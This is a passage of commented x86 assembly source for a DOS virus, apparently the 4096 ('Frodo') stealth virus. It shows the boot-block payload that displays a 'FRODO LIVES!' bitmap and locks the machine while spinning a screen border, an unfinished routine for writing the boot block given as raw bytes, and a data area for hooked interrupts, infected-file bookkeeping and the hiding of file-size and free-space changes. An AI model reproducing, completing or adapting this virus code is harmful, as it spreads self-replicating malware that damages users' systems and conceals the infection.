  1593. FRODO_LIVES: ; bitmapped 'FRODO LIVES!'
  1594.                 db      11111001b,11100000b,11100011b,11000011b,10000000b
  1595.                 db      10000001b,00010001b,00010010b,00100100b,01000000b
  1596.                 db      10000001b,00010001b,00010010b,00100100b,01000000b
  1597.                 db      11110001b,11110001b,00010010b,00100100b,01000000b
  1598.                 db      10000001b,00100001b,00010010b,00100100b,01000000b
  1599.                 db      10000001b,00010000b,11100011b,11000011b,10000000b
  1600.                 db      00000000b,00000000b,00000000b,00000000b,00000000b
  1601.                 db      00000000b,00000000b,00000000b,00000000b,00000000b
  1602.                 db      10000010b,01000100b,11111000b,01110000b,11000000b
  1603.                 db      10000010b,01000100b,10000000b,10001000b,11000000b
  1604.                 db      10000010b,01000100b,10000000b,10000000b,11000000b
  1605.                 db      10000010b,01000100b,11110000b,01110000b,11000000b
  1606.                 db      10000010b,00101000b,10000000b,00001000b,11000000b
  1607.                 db      10000010b,00101000b,10000000b,10001000b,00000000b
  1608.                 db      11110010b,00010000b,11111000b,01110000b,11000000b
  1609. enter_bootblock:
  1610.                 push    cs
  1611.                 pop     ds
  1612.                 mov     dx,0B000h               ; get video page in bh
  1613.                 mov     ah,0Fh                  ; get video mode in al
  1614.                 int     10h                     ; get columns in ah
  1615.  
  1616.                 cmp     al,7                    ; check if colour
  1617.                 je      monochrome
  1618.                 mov     dx,0B800h               ; colour segment
  1619. monochrome:
  1620.                 mov     es,dx                   ; es->video segment
  1621.                 cld
  1622.                 xor     di,di
  1623.                 mov     cx,25*80                ; entire screen
  1624.                 mov     ax,720h                 ; ' ', normal attribute
  1625.                 rep     stosw                   ; clear the screen
  1626.                 mov     si,7C00h+FRODO_LIVES-bootblock
  1627.                 mov     bx,2AEh
  1628. morelinestodisplay:
  1629.                 mov     bp,5
  1630.                 mov     di,bx
  1631. displaymorebackgroundontheline:
  1632.                 lodsb                           ; get background pattern
  1633.                 mov     dh,al
  1634.                 mov     cx,8
  1635.  
  1636. displayinitialbackground:
  1637.                 mov     ax,720h
  1638.                 shl     dx,1
  1639.                 jnc     spacechar
  1640.                 mov     al,'█'
  1641. spacechar:
  1642.                 stosw
  1643.                 loop    displayinitialbackground
  1644.  
  1645.                 dec     bp
  1646.                 jnz     displaymorebackgroundontheline
  1647.                 add     bx,80*2                 ; go to next line
  1648.                 cmp     si,7C00h+enter_bootblock-bootblock
  1649.                 jb      morelinestodisplay
  1650.                 mov     ah,1                    ; set cursor mode to cx
  1651.                 int     10h
  1652.  
  1653.                 mov     al,8                    ; set new int 8 handler
  1654.                 mov     dx,7C00h+int8-bootblock ; to spin border
  1655.                 call    setvect
  1656.                 mov     ax,7FEh                 ; enable timer interrupts only
  1657.                 out     21h,al
  1658.  
  1659.                 sti
  1660.                 xor     bx,bx
  1661.                 mov     cx,1
  1662.                 jmp     short $                 ; loop forever while
  1663.                                                 ; spinning the border
  1664.  
  1665. int8:                                           ; the timer interrupt spins
  1666.                 dec     cx                      ; the border
  1667.                 jnz     endint8
  1668.                 xor     di,di
  1669.                 inc     bx
  1670.                 call    spin_border
  1671.                 call    spin_border
  1672.                 mov     cl,4                    ; wait 4 more ticks until
  1673. endint8:                                        ; next update
  1674.                 mov     al,20h                  ; Signal end of interrupt
  1675.                 out     20h,al
  1676.                 iret
  1677.  
  1678. spin_border:
  1679.                 mov     cx,28h                  ; do 40 characters across
  1680.  
  1681. dohorizontal:
  1682.                 call    lookup_border_char
  1683.                 stosw
  1684.                 stosw
  1685.                 loop    dohorizontal
  1686. patch2:
  1687.                 add     di,9Eh                  ; go to next line
  1688.                 mov     cx,17h                  ; do for next 23 lines
  1689.  
  1690. dovertical:                                     ; handle vertical borders
  1691.                 call    lookup_border_char      ; get border character
  1692.                 stosw                           ; print it on screen
  1693. patch3:
  1694.                 add     di,9Eh                  ; go to next line
  1695.                 loop    dovertical
  1696. patch1:
  1697.                 std
  1698.         ; this code handles the other half of the border
  1699.                 xor     byte ptr ds:[7C00h+patch1-bootblock],1 ; flip std,cld
  1700.                 xor     byte ptr ds:[7C00h+patch2-bootblock+1],28h
  1701.                 xor     byte ptr ds:[7C00h+patch3-bootblock+1],28h
  1702.                 retn
  1703.  
  1704.  
  1705. lookup_border_char:
  1706.                 and     bx,3                    ; find corresponding border
  1707.                 mov     al,ds:[bx+7C00h+borderchars-bootblock]
  1708.                 inc     bx                      ; character
  1709.                 retn
  1710.  
  1711.  
  1712. setvect:
  1713.                 push    es
  1714.                 push    bx
  1715.                 xor     bx,bx
  1716.                 mov     es,bx
  1717.                 mov     bl,al                   ; int # to bx
  1718.                 shl     bx,1                    ; int # * 4 = offset in
  1719.                 shl     bx,1                    ; interrupt table
  1720.                 mov     es:[bx],dx              ; set the vector in the
  1721.                 mov     es:[bx+2],ds            ; interrupt table
  1722.                 pop     bx
  1723.                 pop     es
  1724.                 retn
  1725.  
  1726.  
  1727. writebootblock: ; this is an unfinished subroutine; it doesn't work properly
  1728.                 call    replaceint13and24
  1729.                 mov     dl,80h
  1730.                 db      0E8h, 08h, 00h, 32h,0D2h,0E8h
  1731.                 db       03h, 01h, 00h, 9Ah, 0Eh, 32h
  1732.                 db       08h, 70h, 00h, 33h, 0Eh, 2Eh
  1733.                 db       03h, 6Ch, 15h, 03h, 00h, 26h
  1734.                 db       00h, 00h, 00h, 21h, 00h, 50h
  1735.                 db       12h, 65h, 14h, 82h, 08h, 00h
  1736.                 db       0Ch, 9Ah, 0Eh, 56h, 07h, 70h
  1737.                 db       00h, 33h, 0Eh, 2Eh, 03h, 6Ch
  1738.                 db       15h,0E2h, 0Ch, 1Eh, 93h, 00h
  1739.                 db       00h,0E2h, 0Ch, 50h
  1740.  
  1741.                 org 1200h
  1742. readbuffer      dw      ? ; beginning of the read buffer
  1743. lengthMOD512    dw      ? ; EXE header item - length of image modulo 512
  1744. lengthinpages   dw      ? ; EXE header item - length of image in pages
  1745. relocationitems dw      ? ; EXE header item - # relocation items
  1746. headersize      dw      ? ; EXE header item - header size in paragraphs
  1747. minmemory       dw      ? ; EXE header item - minimum memory allocation
  1748. maxmemory       dw      ? ; EXE header item - maximum memory allocation
  1749. initialSS       dw      ? ; EXE header item - initial SS value
  1750. initialSP       dw      ? ; EXE header item - initial SP value
  1751. wordchecksum    dw      ? ; EXE header item - checksum value
  1752. initialIP       dw      ? ; EXE header item - initial IP value
  1753. initialCS       dw      ? ; EXE header item - initial CS value
  1754.                 db      12 dup (?) ; rest of header - unused
  1755. parmblock       dd      ? ; address of parameter block
  1756. filedrive       db      ? ; 0 = default drive
  1757. filetime        dw      ? ; saved file time
  1758. filedate        dw      ? ; saved file date
  1759. origints        dd      ? ; temporary scratch buffer for interrupt vectors
  1760. oldint1         dd      ? ; original interrupt 1 vector
  1761. oldint21        dd      ? ; original interrupt 21h vector
  1762. oldint13        dd      ? ; original interrupt 13h vector
  1763. oldint24        dd      ? ; original interrupt 24h vector
  1764. int13tempCSIP   dd      ? ; stores calling CS:IP of int 13h
  1765. carrierPSP      dw      ? ; carrier file PSP segment
  1766. DOSsegment      dw      ? ; segment of DOS list of lists
  1767. ownerfirstMCB   dw      ? ; owner of the first MCB
  1768. jmpfarptr       db      ? ; 0eah, jmp far ptr
  1769. int21store      dd      ? ; temporary storage for other 4 bytes
  1770.                           ; and for pointer to virus int 21h
  1771. tracemode       db      ? ; trace mode
  1772. instructionstotrace  db ? ; number of instructions to trace
  1773. handletable     dw      28h dup (?) ; array of handles
  1774. handlesleft     db      ? ; entries left in table
  1775. currentPSP      dw      ? ; storage for the current PSP segment
  1776. curfileposlow   dw      ? ; current file pointer location, low word
  1777. curfileposhigh  dw      ? ; current file pointer location, high word
  1778. filesizelow     dw      ? ; current file size, low word
  1779. filesizehigh    dw      ? ; current file size, high word
  1780. savebuffer      dw      ? ; storage for handle read, etc.
  1781. savelength      dw      ? ; functions
  1782. return_code     dw      ? ; returned in AX on exit of int 21h
  1783. int21flags      dw      ? ; storage of int 21h return flags register
  1784. tempFCB         db      25h dup (?) ; copy of the FCB
  1785. errorflag       db      ? ; 0 if no error, 1 if error
  1786. int13flags      dw      ? ; storage of int 13h return flags register
  1787. savess          dw      ? ; temporary storage of stack segment
  1788. savesp          dw      ? ; and stack pointer
  1789. BREAKsave       db      ? ; current BREAK state
  1790. checkres        db      ? ; already installed flag
  1791. initialax       dw      ? ; AX upon entry to carrier
  1792. saveIMR         db      ? ; storage for interrupt mask register
  1793. saveoffset      dw      ? ; temp storage of CS:IP of
  1794. savesegment     dw      ? ; caller to int 21h
  1795. pushpopalltempstore  dw ? ; push/popall caller address
  1796. numfreeclusters dw      ? ; total free clusters
  1797. DOSversion      db      ? ; current DOS version
  1798. hideclustercountchange db ? ; flag of whether to hide free cluster count
  1799. hide_size       db      ? ; hide filesize increase if equal to 0
  1800. copyparmblock   db      0eh dup (?) ; copy of the parameter block
  1801. origsp          dw      ? ; temporary storage of stack pointer
  1802. origss          dw      ? ; and stack segment
  1803. origcsip        dd      ? ; temporary storage of caller CS:IP
  1804. copyfilename    db      50h dup (?) ; copy of filename
  1805. storesp         dw      ? ; temporary storage of stack pointer
  1806. storess         dw      ? ; and stack segment
  1807. stackptr        dw      ? ; register storage stack pointer
  1808. storecall       dw      ? ; temporary storage of function offset
  1809.  
  1810. topstack = 1600h
  1811.  
  1812. _4096           ends
  1813.                 end
  1814.  
  1815.  
  1816.